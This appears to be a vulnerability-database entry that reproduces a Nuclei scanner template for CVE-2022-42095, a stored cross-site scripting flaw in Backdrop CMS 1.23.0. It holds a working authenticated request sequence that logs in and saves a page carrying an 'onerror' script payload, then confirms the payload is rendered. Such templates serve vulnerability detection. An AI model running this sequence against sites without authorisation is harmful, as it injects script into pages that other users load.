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Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
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Backdrop CMS v1.23.0 - Stored XSS vulnerabilit

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id: CVE-2022-42095

info:
  name: Backdrop CMS version 1.23.0 - Cross Site Scripting (Stored)
  author: theamanrawat
  severity: medium
  description: |
    Backdrop CMS version 1.23.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Page content.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of Backdrop CMS or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/backdrop/backdrop/releases/tag/1.23.0
    - https://github.com/bypazs/CVE-2022-42095
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42095
    - https://backdropcms.org
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-42095
    cwe-id: CWE-79
    epss-score: 0.01947
    epss-percentile: 0.7776
    cpe: cpe:2.3:a:backdropcms:backdrop_cms:1.23.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: backdropcms
    product: backdrop_cms
  tags: cve2022,cve,xss,cms,backdrop,authenticated,backdropcms,vuln

http:
  - raw:
      - |
        GET /?q=user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        name={{username}}&pass={{password}}&form_build_id={{form_id_1}}&form_id=user_login&op=Log+in
      - |
        GET /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /?q=node/add/page HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        title={{randstr}}&body%5Bund%5D%5B0%5D%5Bsummary%5D=&body%5Bund%5D%5B0%5D%5Bvalue%5D=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E%0D%0A&body%5Bund%5D%5B0%5D%5Bformat%5D=full_html&changed=&form_build_id={{form_id_2}}&form_token={{form_token}}&form_id=page_node_form&status=1&scheduled%5Bdate%5D=2023-04-14&scheduled%5Btime%5D=21%3A00%3A54&name=admin&date%5Bdate%5D=2023-04-13&date%5Btime%5D=21%3A00%3A54&path%5Bauto%5D=1&menu%5Benabled%5D=1&menu%5Blink_title%5D=test&menu%5Bdescription%5D=&menu%5Bparent%5D=main-menu%3A0&menu%5Bweight%5D=0&comment=1&additional_settings__active_tab=&op=Save
      - |
        POST /?q={{randstr}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_5 == 200"
          - "contains(header_5, 'text/html')"
          - 'contains(body_5, "<img src=\"x\" onerror=\"alert(document.domain)\" />")'
          - "contains(body_5, 'Backdrop CMS')"
        condition: and

    extractors:
      - type: regex
        name: form_id_1
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true

      - type: regex
        name: form_id_2
        group: 1
        regex:
          - 'name="form_build_id" value="(.*)"'
        internal: true

      - type: regex
        name: form_token
        group: 1
        regex:
          - 'name="form_token" value="(.*)"'
        internal: true
# digest: 4a0a00473045022006f21833eced4f41eb5b51006e7e554a50bb7e2003973d539009309547bfa4f3022100e0f635faaa96ecbd61024a1623fb2ef414efc0a4c5e91ba28d0dc4a97bd6d745:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.14.8
EPSS0.01947
SSVC
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